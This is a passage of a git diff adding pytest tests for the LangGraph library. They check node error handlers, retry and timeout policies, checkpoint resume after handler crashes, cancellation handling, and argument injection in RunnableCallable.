expected >= {backoff * 0.5:.3f}s" + ) + + +@pytest.mark.anyio +async def test_state_graph_observer_emits_finish_before_error_handler_start(): + """Original task's `finish=error` must arrive before the error_handler task's `start`.""" + + class State(TypedDict): + foo: str + + async def slow_node(state: State) -> State: + await asyncio.sleep(1.0) + return {"foo": "should-not-happen"} + + async def handler_node(state: State, error: NodeError) -> State: + return {"foo": "handled"} + + events: list = [] + graph = ( + StateGraph(State) + .add_node( + "slow", + slow_node, + timeout=TimeoutPolicy(idle_timeout=0.05), + error_handler=handler_node, + ) + .add_edge(START, "slow") + .compile() + ) + + result = await graph.ainvoke( + {"foo": ""}, + config={ + "configurable": {CONFIG_KEY_TIMED_ATTEMPT_OBSERVER: events.append}, + }, + ) + assert result["foo"] == "handled" + + # Filter to events from the failing node only — the handler node has no + # timeout configured here, so it doesn't appear in the observer stream. + slow_events = [ev for ev in events if ev.context.task_name == "slow"] + starts = [ev for ev in slow_events if ev.event == "start"] + finishes = [ev for ev in slow_events if ev.event == "finish"] + assert len(starts) == 1 + assert len(finishes) == 1 + assert finishes[0].status == "error" + assert finishes[0].error_type == "NodeTimeoutError" + # The slow task's finish-error event must precede every event for any + # follow-up task in the same observer stream. + slow_finish_index = events.index(finishes[0]) + for ev in events[slow_finish_index + 1 :]: + assert ev.context.task_name == "slow" or ev.event == "start", ( + f"unexpected event {ev.event} for {ev.context.task_name} " + f"after slow's finish=error" + ) + + +@pytest.mark.anyio +async def test_arun_with_retry_observer_emits_finish_before_final_raise_on_exhaustion(): + """When retry exhausts and the timeout propagates, the final `finish=error` must + be emitted before `arun_with_retry` re-raises.""" + events: list = [] + + class AlwaysTimingOutProc: + async def ainvoke(self, input, config): + await asyncio.sleep(1.0) + return "never" + + policy = RetryPolicy( + max_attempts=2, + initial_interval=0.0, + jitter=False, + retry_on=NodeTimeoutError, + ) + task = _make_task( + AlwaysTimingOutProc(), + timeout=_idle_timeout(0.05), + retry_policy=(policy,), + name="never_succeeds", + ) + task.config[CONF][CONFIG_KEY_TIMED_ATTEMPT_OBSERVER] = events.append + + with pytest.raises(NodeTimeoutError): + await arun_with_retry(task, retry_policy=None) + + starts = [ev for ev in events if ev.event == "start"] + finishes = [ev for ev in events if ev.event == "finish"] + assert [ev.context.attempt for ev in starts] == [1, 2] + assert [ev.context.attempt for ev in finishes] == [1, 2] + assert [ev.status for ev in finishes] == ["error", "error"] + assert all(ev.error_type == "NodeTimeoutError" for ev in finishes) + # Both finish events were observed BEFORE arun_with_retry raised, otherwise + # the `with pytest.raises` block would have exited before `events` got + # populated with the second finish. + + +@pytest.mark.anyio +async def test_sync_sleep_in_async_node_bypasses_timeout_and_emits_finish_success(): + """Sync `time.sleep` inside an async node blocks the event loop so the + in-process watchdog cannot fire. We document the resulting behavior here: + + 1. `NodeTimeoutError` is NOT raised, even though the sync sleep exceeds + `idle_timeout`. + 2. The node's normal return value flows through. + 3. `finish=success` is emitted to the observer. + + This is the canonical case where the in-process timeout is defeated and + the only safety net is the external watcher (langgraph-api), which + SIGKILLs the worker when no `finish` arrives within its deadline. The + catch is that with a *short* sync sleep the event loop unblocks before + the watcher's deadline expires, so the watcher legitimately does not + kill — meaning the configured `idle_timeout` is silently honored at the + process level only when the block is long enough to outlast the + watcher's grace. + + This is the documented "Cooperative cancellation" caveat on + `TimeoutPolicy`. The test pins the behavior so any future change that + starts raising `NodeTimeoutError` for sync-blocked async nodes (or stops + emitting `finish=success`) is caught. + """ + events: list = [] + + class SyncSleepingProc: + async def ainvoke(self, input, config): + time.sleep(0.1) + return "completed_despite_timeout" + + task = _make_task( + SyncSleepingProc(), + timeout=_idle_timeout(0.05), + name="sync_sleeper", + ) + task.config[CONF][CONFIG_KEY_TIMED_ATTEMPT_OBSERVER] = events.append + + result = await arun_with_retry(task, retry_policy=None) + + assert result == "completed_despite_timeout" + starts = [ev for ev in events if ev.event == "start"] + finishes = [ev for ev in events if ev.event == "finish"] + assert len(starts) == 1 + assert len(finishes) == 1 + assert finishes[0].status == "success" + assert finishes[0].error_type is None + + +def test_graph_error_handler_runs_after_retry_exhaustion(): + class State(TypedDict): + foo: str + + attempts = 0 + captured: dict[str, object] = {} + + def always_failing_node(state: State) -> State: + nonlocal attempts + attempts += 1 + raise ValueError("Always fails") + + def err_handler_node(state: State, error: NodeError) -> Command: + captured["from_node_name"] = error.node + captured["from_node_error"] = error.error + return Command(update={"foo": "handled"}, goto="after_handler") + + def after_handler(state: State) -> State: + return {"foo": f"{state['foo']}_after"} + + retry_policy = RetryPolicy( + max_attempts=2, + initial_interval=0.01, + jitter=False, + retry_on=ValueError, + ) + + graph = ( + StateGraph(State) + .add_node( + "always_failing", + always_failing_node, + retry_policy=retry_policy, + error_handler=err_handler_node, + ) + .add_node("after_handler", after_handler) + .add_edge(START, "always_failing") + .compile() + ) + + with patch("time.sleep"): + result = graph.invoke({"foo": ""}) + + assert attempts == 2 + assert result["foo"] == "handled_after" + assert captured["from_node_name"] == "always_failing" + assert isinstance(captured["from_node_error"], BaseException) + + +def test_graph_error_handler_can_route_with_command(): + class State(TypedDict): + foo: str + + attempts = 0 + + def always_failing_node(state: State) -> State: + nonlocal attempts + attempts += 1 + raise ValueError("Always fails") + + def err_handler_node(state: State) -> Command: + return Command(update={"foo": "handled"}, goto="next_node") + + def next_node(state: State) -> State: + return {"foo": f"{state['foo']}_next"} + + retry_policy = RetryPolicy( + max_attempts=1, + initial_interval=0.01, + jitter=False, + retry_on=ValueError, + ) + + graph = ( + StateGraph(State) + .add_node( + "always_failing", + always_failing_node, + retry_policy=retry_policy, + error_handler=err_handler_node, + ) + .add_node("next_node", next_node) + .add_edge(START, "always_failing") + .compile() + ) + + result = graph.invoke({"foo": ""}) + assert attempts == 1 + assert result["foo"] == "handled_next" + + +def test_graph_error_handler_failure_fails_run(): + class State(TypedDict): + foo: str + + def always_failing_node(state: State) -> State: + raise ValueError("Always fails") + + def err_handler_node(state: State) -> State: + raise RuntimeError("handler failed") + + graph = ( + StateGraph(State) + .add_node("always_failing", always_failing_node, error_handler=err_handler_node) + .add_edge(START, "always_failing") + .compile() + ) + + with pytest.raises(RuntimeError, match="handler failed"): + graph.invoke({"foo": ""}) + + +def test_graph_error_handler_handles_subgraph_internal_failure(): + class SubState(TypedDict): + foo: str + + class ParentState(TypedDict): + foo: str + + parent_handler_called = False + captured: dict[str, object] = {} + + def sub_fail_node(state: SubState) -> SubState: + raise ValueError("subgraph boom") + + def parent_handler(state: ParentState, error: NodeError) -> ParentState: + nonlocal parent_handler_called + parent_handler_called = True + captured["from_node_name"] = error.node + captured["from_node_error"] = error.error + return {"foo": "handled_by_parent"} + + subgraph = ( + StateGraph(SubState) + .add_node("sub_fail_node", sub_fail_node) + .add_edge(START, "sub_fail_node") + .compile() + ) + + parent_graph = ( + StateGraph(ParentState) + .add_node("subgraph_node", subgraph, error_handler=parent_handler) + .add_edge(START, "subgraph_node") + .compile() + ) + + result = parent_graph.invoke({"foo": ""}) + assert result["foo"] == "handled_by_parent" + assert parent_handler_called is True + assert captured["from_node_name"] == "subgraph_node" + assert isinstance(captured["from_node_error"], BaseException) + + +def test_graph_error_handler_error_context_survives_checkpoint_resume(): + class State(TypedDict): + foo: str + + captured: dict[str, object] = {} + + def always_failing_node(state: State) -> State: + raise RuntimeError("failed before handler") + + def err_handler_node(state: State, error: NodeError) -> State: + captured["from_node_name"] = error.node + captured["from_node_error"] = error.error + return {"foo": "handled_after_resume"} + + checkpointer = InMemorySaver() + config = {"configurable": {"thread_id": "graph-error-resume"}} + graph = ( + StateGraph(State) + .add_node("always_failing", always_failing_node, error_handler=err_handler_node) + .add_edge(START, "always_failing") + .compile( + checkpointer=checkpointer, + interrupt_before=["__error_handler__always_failing"], + ) + ) + + # First run pauses before handler, after failure context is checkpointed. + graph.invoke({"foo": ""}, config) + # Resume should execute handler and recover serialized error context. + result = graph.invoke(None, config) + + assert result["foo"] == "handled_after_resume" + assert captured["from_node_name"] == "always_failing" + assert isinstance(captured["from_node_error"], BaseException) + + +def test_graph_error_handler_does_not_swallow_interrupt_concurrent(): + """When a graph error handler is configured and a node calls interrupt() + concurrently with other nodes, the interrupt must still be raised — not + silently swallowed.""" + from langgraph.types import interrupt + + class State(TypedDict): + foo: str + + def node_a(state: State) -> State: + # This node uses interrupt() which raises GraphInterrupt + val = interrupt("need human input") + return {"foo": f"a_{val}"} + + def node_b(state: State) -> State: + return {} + + def err_handler(state: State) -> State: + return {"foo": "handled"} + + checkpointer = InMemorySaver() + graph = ( + StateGraph(State) + .add_node("node_a", node_a, error_handler=err_handler) + .add_node("node_b", node_b) + # Fan-out: both node_a and node_b run concurrently + .add_edge(START, "node_a") + .add_edge(START, "node_b") + .compile(checkpointer=checkpointer) + ) + + config = {"configurable": {"thread_id": "test-interrupt-concurrent"}} + + # First invoke should pause at the interrupt, not silently complete + graph.invoke({"foo": ""}, config) + + # The graph should have an interrupt pending + state = graph.get_state(config) + assert len(state.tasks) > 0 + + # There should be a pending interrupt from node_a + interrupts = [t for t in state.tasks if hasattr(t, "interrupts") and t.interrupts] + assert len(interrupts) > 0, ( + "GraphInterrupt was swallowed — interrupt() in node_a " + "should have paused execution" + ) + + +def test_node_error_handlers_route_to_matching_handler(): + class State(TypedDict): + route: str + foo: Annotated[list[str], operator.add] + + def route_node(state: State) -> State: + return {"foo": []} + + def choose_node(state: State) -> str: + return state["route"] + + def fail_a(state: State) -> State: + raise ValueError("a failed") + + def fail_b(state: State) -> State: + raise RuntimeError("b failed") + + def handler_a(state: State, error: NodeError) -> State: + assert error.node == "fail_a" + return {"foo": ["handled_a"]} + + def handler_b(state: State, error: NodeError) -> State: + assert error.node == "fail_b" + return {"foo": ["handled_b"]} + + graph = ( + StateGraph(State) + .add_node("route_node", route_node) + .add_node("fail_a", fail_a, error_handler=handler_a) + .add_node("fail_b", fail_b, error_handler=handler_b) + .add_edge(START, "route_node") + .add_conditional_edges("route_node", choose_node, path_map=["fail_a", "fail_b"]) + .compile() + ) + + result_a = graph.invoke({"route": "fail_a", "foo": []}) + result_b = graph.invoke({"route": "fail_b", "foo": []}) + assert result_a["foo"] == ["handled_a"] + assert result_b["foo"] == ["handled_b"] + + +def test_node_without_error_handler_still_fails_run(): + class State(TypedDict): + foo: str + + def fail_without_handler(state: State) -> State: + raise ValueError("no handler") + + graph = ( + StateGraph(State) + .add_node("fail_without_handler", fail_without_handler) + .add_edge(START, "fail_without_handler") + .compile() + ) + + with pytest.raises(ValueError, match="no handler"): + graph.invoke({"foo": ""}) + + +# --------------------------------------------------------------------------- +# set_node_defaults() +# --------------------------------------------------------------------------- + + +def test_set_node_defaults_error_handler_catches_all_nodes(): + class State(TypedDict): + route: str + foo: Annotated[list[str], operator.add] + + def route_node(state: State) -> Command: + return Command(goto=state["route"]) + + def fail_a(state: State) -> State: + raise RuntimeError("a failed") + + def fail_b(state: State) -> State: + raise RuntimeError("b failed") + + captured: dict[str, list[str]] = {"nodes": []} + + def default_handler(state: State, error: NodeError) -> State: + captured["nodes"].append(error.node) + return {"foo": [f"handled_{error.node}"]} + + graph = ( + StateGraph(State) + .set_node_defaults(error_handler=default_handler) + .add_node("route_node", route_node) + .add_node("fail_a", fail_a) + .add_node("fail_b", fail_b) + .add_edge(START, "route_node") + .add_conditional_edges( + "route_node", lambda s: s["route"], path_map=["fail_a", "fail_b"] + ) + .compile() + ) + + result_a = graph.invoke({"route": "fail_a", "foo": []}) + result_b = graph.invoke({"route": "fail_b", "foo": []}) + assert result_a["foo"] == ["handled_fail_a"] + assert result_b["foo"] == ["handled_fail_b"] + assert "fail_a" in captured["nodes"] + assert "fail_b" in captured["nodes"] + + +def test_set_node_defaults_error_handler_overridden_by_node_handler(): + class State(TypedDict): + route: str + foo: Annotated[list[str], operator.add] + + def route_node(state: State) -> Command: + return Command(goto=state["route"]) + + def fail_a(state: State) -> State: + raise RuntimeError("a failed") + + def fail_b(state: State) -> State: + raise RuntimeError("b failed") + + captured: dict[str, list[str]] = {"handler": []} + + def node_handler(state: State, error: NodeError) -> State: + captured["handler"].append(f"node:{error.node}") + return {"foo": [f"node_handled_{error.node}"]} + + def default_handler(state: State, error: NodeError) -> State: + captured["handler"].append(f"default:{error.node}") + return {"foo": [f"default_handled_{error.node}"]} + + graph = ( + StateGraph(State) + .set_node_defaults(error_handler=default_handler) + .add_node("route_node", route_node) + .add_node("fail_a", fail_a, error_handler=node_handler) + .add_node("fail_b", fail_b) + .add_edge(START, "route_node") + .add_conditional_edges( + "route_node", lambda s: s["route"], path_map=["fail_a", "fail_b"] + ) + .compile() + ) + + result_a = graph.invoke({"route": "fail_a", "foo": []}) + assert result_a["foo"] == ["node_handled_fail_a"] + assert "node:fail_a" in captured["handler"] + assert "default:fail_a" not in captured["handler"] + + result_b = graph.invoke({"route": "fail_b", "foo": []}) + assert result_b["foo"] == ["default_handled_fail_b"] + assert "default:fail_b" in captured["handler"] + + +def test_set_node_defaults_error_handler_skips_per_node_handler_nodes(): + """If a per-node error handler itself raises, the default handler must NOT + catch it -- the run should fail.""" + + class State(TypedDict): + foo: str + + def always_failing(state: State) -> State: + raise RuntimeError("node boom") + + def broken_handler(state: State, error: NodeError) -> State: + raise RuntimeError("handler boom") + + def default_handler(state: State, error: NodeError) -> State: + return {"foo": "default recovered"} + + graph = ( + StateGraph(State) + .set_node_defaults(error_handler=default_handler) + .add_node("always_failing", always_failing, error_handler=broken_handler) + .add_edge(START, "always_failing") + .compile() + ) + + with pytest.raises(RuntimeError, match="handler boom"): + graph.invoke({"foo": ""}) + + +def test_set_node_defaults_error_handler_failure_fails_run(): + """When the default handler itself raises, the run fails (no infinite + recursion, no double-routing).""" + + class State(TypedDict): + foo: str + + def always_failing(state: State) -> State: + raise RuntimeError("node boom") + + def broken_default_handler(state: State, error: NodeError) -> State: + raise RuntimeError("default handler boom") + + graph = ( + StateGraph(State) + .set_node_defaults(error_handler=broken_default_handler) + .add_node("always_failing", always_failing) + .add_edge(START, "always_failing") + .compile() + ) + + with pytest.raises(RuntimeError, match="default handler boom"): + graph.invoke({"foo": ""}) + + +def test_set_node_defaults_error_handler_receives_runnable_config(): + class State(TypedDict): + foo: str + + def always_failing(state: State) -> State: + raise RuntimeError("boom") + + captured: dict[str, Any] = {} + + def default_handler( + state: State, error: NodeError, config: RunnableConfig + ) -> State: + captured["thread_id"] = config["configurable"].get("thread_id") + return {"foo": "handled"} + + checkpointer = MemorySaver() + graph = ( + StateGraph(State) + .set_node_defaults(error_handler=default_handler) + .add_node("always_failing", always_failing) + .add_edge(START, "always_failing") + .compile(checkpointer=checkpointer) + ) + + thread_id = str(uuid4()) + result = graph.invoke( + {"foo": ""}, config={"configurable": {"thread_id": thread_id}} + ) + assert result["foo"] == "handled" + assert captured["thread_id"] == thread_id + + +def test_set_node_defaults_error_handler_collides_with_user_node(): + class State(TypedDict): + foo: str + + def default_handler(state: State, error: NodeError) -> State: + return {"foo": "handled"} + + builder = ( + StateGraph(State) + .set_node_defaults(error_handler=default_handler) + .add_node("__default_error_handler__", lambda s: s) + .add_edge(START, "__default_error_handler__") + ) + + with pytest.raises(ValueError, match="__default_error_handler__"): + builder.compile() + + +def test_set_node_defaults_retry_policy(): + class State(TypedDict): + foo: str + + attempts = 0 + + def flaky_node(state: State) -> State: + nonlocal attempts + attempts += 1 + if attempts < 3: + raise ValueError("not yet") + return {"foo": "ok"} + + graph = ( + StateGraph(State) + .set_node_defaults( + retry_policy=RetryPolicy( + max_attempts=3, initial_interval=0.01, jitter=False, retry_on=ValueError + ) + ) + .add_node("flaky", flaky_node) + .add_edge(START, "flaky") + .compile() + ) + + with patch("time.sleep"): + result = graph.invoke({"foo": ""}) + + assert result["foo"] == "ok" + assert attempts == 3 + + +def test_set_node_defaults_retry_policy_per_node_wins(): + class State(TypedDict): + foo: str + + attempts = 0 + + def flaky_node(state: State) -> State: + nonlocal attempts + attempts += 1 + if attempts < 2: + raise ValueError("not yet") + return {"foo": "ok"} + + graph = ( + StateGraph(State) + .set_node_defaults( + retry_policy=RetryPolicy( + max_attempts=1, initial_interval=0.01, jitter=False, retry_on=ValueError + ) + ) + .add_node( + "flaky", + flaky_node, + retry_policy=RetryPolicy( + max_attempts=3, + initial_interval=0.01, + jitter=False, + retry_on=ValueError, + ), + ) + .add_edge(START, "flaky") + .compile() + ) + + with patch("time.sleep"): + result = graph.invoke({"foo": ""}) + + assert result["foo"] == "ok" + assert attempts == 2 + + +@pytest.mark.anyio +async def test_set_node_defaults_timeout(): + class State(TypedDict): + foo: str + + async def slow_node(state: State) -> State: + await asyncio.sleep(10) + return {"foo": "should-not-happen"} + + graph = ( + StateGraph(State) + .set_node_defaults(timeout=TimeoutPolicy(run_timeout=0.05)) + .add_node("slow", slow_node) + .add_edge(START, "slow") + .compile() + ) + + from langgraph.errors import NodeTimeoutError + + with pytest.raises(NodeTimeoutError): + await graph.ainvoke({"foo": ""}) + + +@pytest.mark.anyio +async def test_set_node_defaults_timeout_per_node_wins(): + """Per-node timeout overrides the default; a generous per-node timeout + allows a node to complete even when the builder default is very short.""" + + class State(TypedDict): + foo: str + + async def quick_node(state: State) -> State: + await asyncio.sleep(0.05) + return {"foo": "done"} + + graph = ( + StateGraph(State) + .set_node_defaults(timeout=TimeoutPolicy(run_timeout=0.01)) + .add_node("quick", quick_node, timeout=TimeoutPolicy(run_timeout=5.0)) + .add_edge(START, "quick") + .compile() + ) + + result = await graph.ainvoke({"foo": ""}) + assert result["foo"] == "done" + + +def test_set_node_defaults_chaining(): + """set_node_defaults() is chainable and can be called in any order relative to add_node.""" + + class State(TypedDict): + foo: str + + def always_failing(state: State) -> State: + raise RuntimeError("boom") + + def handler(state: State, error: NodeError) -> State: + return {"foo": "handled"} + + graph = ( + StateGraph(State) + .add_node("a", always_failing) + .add_edge(START, "a") + .set_node_defaults( + retry_policy=RetryPolicy( + max_attempts=1, initial_interval=0.01, jitter=False + ), + error_handler=handler, + ) + .compile() + ) + + result = graph.invoke({"foo": ""}) + assert result["foo"] == "handled" + + +def test_set_node_defaults_combined_retry_and_error_handler(): + """Retries are exhausted first, then the error handler runs.""" + + class State(TypedDict): + foo: str + + attempts = 0 + captured: dict[str, Any] = {} + + def always_failing(state: State) -> State: + nonlocal attempts + attempts += 1 + raise ValueError("Always fails") + + def handler(state: State, error: NodeError) -> State: + captured["error"] = str(error.error) + return {"foo": "handled"} + + graph = ( + StateGraph(State) + .set_node_defaults( + retry_policy=RetryPolicy( + max_attempts=2, + initial_interval=0.01, + jitter=False, + retry_on=ValueError, + ), + error_handler=handler, + ) + .add_node("fail", always_failing) + .add_edge(START, "fail") + .compile() + ) + + with patch("time.sleep"): + result = graph.invoke({"foo": ""}) + + assert result["foo"] == "handled" + assert attempts == 2 + assert captured["error"] == "Always fails" + + +def test_error_handler_resumes_after_crash(): + """If the error handler crashes, resuming should re-schedule the handler + (not re-execute the original failed node).""" + + class State(TypedDict): + foo: str + + call_count = {"node": 0, "handler": 0} + captured_errors: list[NodeError] = [] + + def failing_node(state: State) -> State: + call_count["node"] += 1 + raise RuntimeError("boom") + + handler_should_fail = [True] + + def handler(state: State, error: NodeError) -> State: + call_count["handler"] += 1 + captured_errors.append(error) + if handler_should_fail[0]: + raise RuntimeError("handler crash") + return {"foo": "recovered"} + + checkpointer = MemorySaver() + graph = ( + StateGraph(State) + .set_node_defaults(error_handler=handler) + .add_node("fail", failing_node) + .add_edge(START, "fail") + .compile(checkpointer=checkpointer) + ) + + config = {"configurable": {"thread_id": "t1"}} + + # First invoke: node fails -> handler runs -> handler crashes -> run fails + with pytest.raises(RuntimeError, match="handler crash"): + graph.invoke({"foo": ""}, config) + + assert call_count["node"] == 1 + assert call_count["handler"] == 1 + assert captured_errors[0].node == "fail" + assert isinstance(captured_errors[0].error, RuntimeError) + assert str(captured_errors[0].error) == "boom" + + # Resume: handler should run again, NOT the original node + handler_should_fail[0] = False + result = graph.invoke(None, config) + + assert result["foo"] == "recovered" + assert call_count["node"] == 1 # NOT re-executed + assert call_count["handler"] == 2 # ran again on resume + # on resume the error was round-tripped through the checkpointer, so it + # may be deserialized as a string representation rather than the original + # exception type — verify the node name and that the error content matches. + assert captured_errors[1].node == "fail" + assert "boom" in str(captured_errors[1].error) + + +def test_error_handler_resumes_after_crash_multiple_nodes(): + """When multiple nodes fail in the same superstep and all have error handlers: + - error handlers start running while other nodes may still be in-flight + - resuming re-schedules each handler (not re-executes the original nodes) + """ + + class State(TypedDict): + results: Annotated[list[str], operator.add] + + call_count = {"a": 0, "b": 0, "handler_a": 0, "handler_b": 0} + handler_a_started = threading.Event() + + def node_a(state: State) -> State: + call_count["a"] += 1 + raise RuntimeError("a failed") + + def node_b(state: State) -> State: + call_count["b"] += 1 + # Block until handler_a has started — proves the error handler runs + # concurrently with in-flight nodes in the same superstep. + assert handler_a_started.wait(timeout=5), "handler_a never started" + raise RuntimeError("b failed") + + handler_should_fail = [True] + + def handler_a(state: State, error: NodeError) -> State: + call_count["handler_a"] += 1 + assert error.node == "a" + assert "a failed" in str(error.error) + handler_a_started.set() + if handler_should_fail[0]: + raise RuntimeError("handler_a crash") + return {"results": [f"recovered_a:{error.node}"]} + + def handler_b(state: State, error: NodeError) -> State: + call_count["handler_b"] += 1 + assert error.node == "b" + assert "b failed" in str(error.error) + if handler_should_fail[0]: + raise RuntimeError("handler_b crash") + return {"results": [f"recovered_b:{error.node}"]} + + checkpointer = MemorySaver() + graph = ( + StateGraph(State) + .add_node("a", node_a, error_handler=handler_a) + .add_node("b", node_b, error_handler=handler_b) + .add_edge(START, "a") + .add_edge(START, "b") + .compile(checkpointer=checkpointer) + ) + + config = {"configurable": {"thread_id": "t1"}} + + # First invoke: node_a fails immediately -> handler_a starts (sets event) -> + # node_b unblocks and fails -> handler_b starts -> both handlers crash + with pytest.raises(RuntimeError): + graph.invoke({"results": []}, config) + + assert call_count["a"] == 1 + assert call_count["b"] == 1 + assert call_count["handler_a"] == 1 + assert call_count["handler_b"] == 1 + + # Resume: both handlers should run again, NOT the original nodes + handler_should_fail[0] = False + handler_a_started.clear() + result = graph.invoke(None, config) + + assert call_count["a"] == 1 # NOT re-executed + assert call_count["b"] == 1 # NOT re-executed + assert call_count["handler_a"] == 2 # ran again on resume + assert call_count["handler_b"] == 2 # ran again on resume + assert "recovered_a:a" in result["results"] + assert "recovered_b:b" in result["results"] + + +@NEEDS_TASK_CANCELLING +@pytest.mark.anyio +async def test_arun_with_retry_user_raised_cancelled_becomes_node_cancelled(): + class UserCancelsProc: + async def ainvoke(self, input, config): + raise asyncio.CancelledError("nope") + + task = _make_task(UserCancelsProc(), name="user-cancel") + + with pytest.raises(NodeCancelledError) as excinfo: + await arun_with_retry(task, retry_policy=None) + assert excinfo.value.node == "user-cancel" + # original CancelledError chained for debugging + assert isinstance(excinfo.value.__cause__, asyncio.CancelledError) + + +@NEEDS_TASK_CANCELLING +@pytest.mark.anyio +async def test_arun_with_retry_user_raised_cancelled_with_timeout_policy(): + """The timeout path runs the node in a child task; the conversion must + still trigger for user-raised ``CancelledError``.""" + + class UserCancelsProc: + async def ainvoke(self, input, config): + raise asyncio.CancelledError + + task = _make_task( + UserCancelsProc(), timeout=_idle_timeout(1.0), name="user-cancel-timed" + ) + + with pytest.raises(NodeCancelledError) as excinfo: + await arun_with_retry(task, retry_policy=None) + assert excinfo.value.node == "user-cancel-timed" + + +def test_run_with_retry_sync_node_raising_cancelled_becomes_node_cancelled(): + class SyncUserCancelsProc: + def invoke(self, input, config): + raise asyncio.CancelledError("sync nope") + + task = _make_task(SyncUserCancelsProc(), timeout=None, name="sync-user-cancel") + + with pytest.raises(NodeCancelledError) as excinfo: + run_with_retry(task, retry_policy=None) + assert excinfo.value.node == "sync-user-cancel" + assert isinstance(excinfo.value.__cause__, asyncio.CancelledError) + + +@NEEDS_TASK_CANCELLING +@pytest.mark.anyio +async def test_arun_with_retry_external_cancel_propagates_as_cancelled(): + """When the asyncio task running ``arun_with_retry`` is cancelled from the + outside, the cancellation must still propagate as + ``asyncio.CancelledError``. Converting it to ``NodeCancelledError`` would + break the runner's ability to cancel sibling tasks during cleanup.""" + + started = asyncio.Event() + observed: list[BaseException] = [] + + class SlowProc: + async def ainvoke(self, input, config): + started.set() + await asyncio.sleep(10.0) + return "never" + + task = _make_task(SlowProc(), timeout=None, name="external-cancel") + + async def runner(): + try: + await arun_with_retry(task, retry_policy=None) + except BaseException as exc: + observed.append(exc) + raise + + bg = asyncio.create_task(runner()) + await started.wait() + bg.cancel() + # We expect the cancellation to surface to us as well; swallow it here so + # the test runner's own task isn't poisoned by the cancel. + with contextlib.suppress(asyncio.CancelledError): + await bg + assert observed, "runner did not observe any exception" + # Framework cancellation must remain a CancelledError, not be rewritten as + # NodeCancelledError. + assert isinstance(observed[0], asyncio.CancelledError) + assert not isinstance(observed[0], NodeCancelledError) + + +@NEEDS_TASK_CANCELLING +@pytest.mark.anyio +async def test_pregel_user_raised_cancellederror_fails_run(): + """End-to-end: a two-branch graph where one branch raises + ``asyncio.CancelledError`` must fail the run instead of returning + a partial-success state. This is the LSD-1507 customer scenario.""" + + class _S(TypedDict, total=False): + vals: Annotated[list[str], operator.add] + + async def ok(state: _S) -> _S: + return {"vals": ["ok"]} + + async def boom(state: _S) -> _S: + raise asyncio.CancelledError("user-raised in node body") + + graph = ( + StateGraph(_S) + .add_node("ok", ok) + .add_node("boom", boom) + .add_edge(START, "ok") + .add_edge(START, "boom") + .add_edge("ok", END) + .add_edge("boom", END) + .compile() + ) + + with pytest.raises(NodeCancelledError) as excinfo: + await graph.ainvoke({"vals": []}) + assert excinfo.value.node == "boom" diff --git a/libs/langgraph/tests/test_runnable.py b/libs/langgraph/tests/test_runnable.py new file mode 100644 index 0000000..e7d1950 --- /dev/null +++ b/libs/langgraph/tests/test_runnable.py @@ -0,0 +1,414 @@ +from __future__ import annotations + +from typing import Any, Optional + +import pytest +from langchain_core.runnables.config import RunnableConfig +from langgraph.store.base import BaseStore + +from langgraph._internal._runnable import RunnableCallable +from langgraph.runtime import Runtime +from langgraph.types import StreamWriter + +pytestmark = pytest.mark.anyio + + +def test_runnable_callable_func_accepts(): + def sync_func(x: Any) -> str: + return f"{x}" + + async def async_func(x: Any) -> str: + return f"{x}" + + def func_with_store(x: Any, store: BaseStore) -> str: + return f"{x}" + + def func_with_writer(x: Any, writer: StreamWriter) -> str: + return f"{x}" + + async def afunc_with_store(x: Any, store: BaseStore) -> str: + return f"{x}" + + async def afunc_with_writer(x: Any, writer: StreamWriter) -> str: + return f"{x}" + + runnables = { + "sync": RunnableCallable(sync_func), + "async": RunnableCallable(func=None, afunc=async_func), + "with_store": RunnableCallable(func_with_store), + "with_writer": RunnableCallable(func_with_writer), + "awith_store": RunnableCallable(afunc_with_store), + "awith_writer": RunnableCallable(afunc_with_writer), + } + + expected_store = {"with_store": True, "awith_store": True} + expected_writer = {"with_writer": True, "awith_writer": True} + + for name, runnable in runnables.items(): + if expected_writer.get(name, False): + assert "writer" in runnable.func_accepts + else: + assert "writer" not in runnable.func_accepts + + if expected_store.get(name, False): + assert "store" in runnable.func_accepts + else: + assert "store" not in runnable.func_accepts + + +async def test_runnable_callable_basic(): + def sync_func(x: Any) -> str: + return f"{x}" + + async def async_func(x: Any) -> str: + return f"{x}" + + runnable_sync = RunnableCallable(sync_func) + runnable_async = RunnableCallable(func=None, afunc=async_func) + + result_sync = runnable_sync.invoke("test") + assert result_sync == "test" + + # Test asynchronous ainvoke + result_async = await runnable_async.ainvoke("test") + assert result_async == "test" + + +def test_runnable_callable_injectable_arguments() -> None: + """Test injectable arguments for RunnableCallable. + + This test verifies that injectable arguments like BaseStore work correctly. + It tests: + - Optional store injection + - Required store injection + - Store injection via config + - Store injection override behavior + - Store value injection and validation + """ + + # Test Optional[BaseStore] annotation. + def func_optional_store(inputs: Any, store: Optional[BaseStore]) -> str: # noqa: UP045 + """Test function that accepts an optional store parameter.""" + assert store is None + return "success" + + assert ( + RunnableCallable(func_optional_store).invoke( + {"x": "1"}, + config={ + "configurable": { + "__pregel_runtime": Runtime( + store=None, + context=None, + stream_writer=lambda _: None, + previous=None, + ) + } + }, + ) + == "success" + ) + + # Test BaseStore annotation + def func_required_store(inputs: Any, store: BaseStore) -> str: + """Test function that requires a store parameter.""" + assert store is None + return "success" + + with pytest.raises(ValueError): + # Should fail b/c store is not Optional and config is not populated with store. + assert RunnableCallable(func_required_store).invoke({}) == "success" + + # Manually provide store + assert RunnableCallable(func_required_store).invoke({}, store=None) == "success" + + # Specify a value for store in the config + assert ( + RunnableCallable(func_required_store).invoke( + {}, + config={ + "configurable": { + "__pregel_runtime": Runtime( + store=None, + context=None, + stream_writer=lambda _: None, + previous=None, + ) + } + }, + ) + == "success" + ) + + # Specify a value for store in config, but override with None + assert ( + RunnableCallable(func_optional_store).invoke( + {"x": "1"}, + store=None, + config={ + "configurable": { + "__pregel_runtime": Runtime( + store="foobar", # type: ignore[assignment] + context=None, + stream_writer=lambda _: None, + previous=None, + ) + } + }, + ) + == "success" + ) + + # Set of tests where we verify that 'foobar' is injected as the store value. + def func_required_store_v2(inputs: Any, store: BaseStore) -> str: + """Test function that requires a store parameter and validates its value. + + The store value is expected to be 'foobar' when injected. + """ + assert store == "foobar" + return "success" + + assert ( + RunnableCallable(func_required_store_v2).invoke( + {}, + config={ + "configurable": { + "__pregel_runtime": Runtime( + store="foobar", # type: ignore[assignment] + context=None, + stream_writer=lambda _: None, + previous=None, + ) + } + }, + ) + == "success" + ) + + assert RunnableCallable(func_required_store_v2).invoke( + # And manual override takes precedence. + {}, + store="foobar", + config={ + "configurable": { + "__pregel_runtime": Runtime( + store="foobar", # type: ignore[assignment] + context=None, + stream_writer=lambda _: 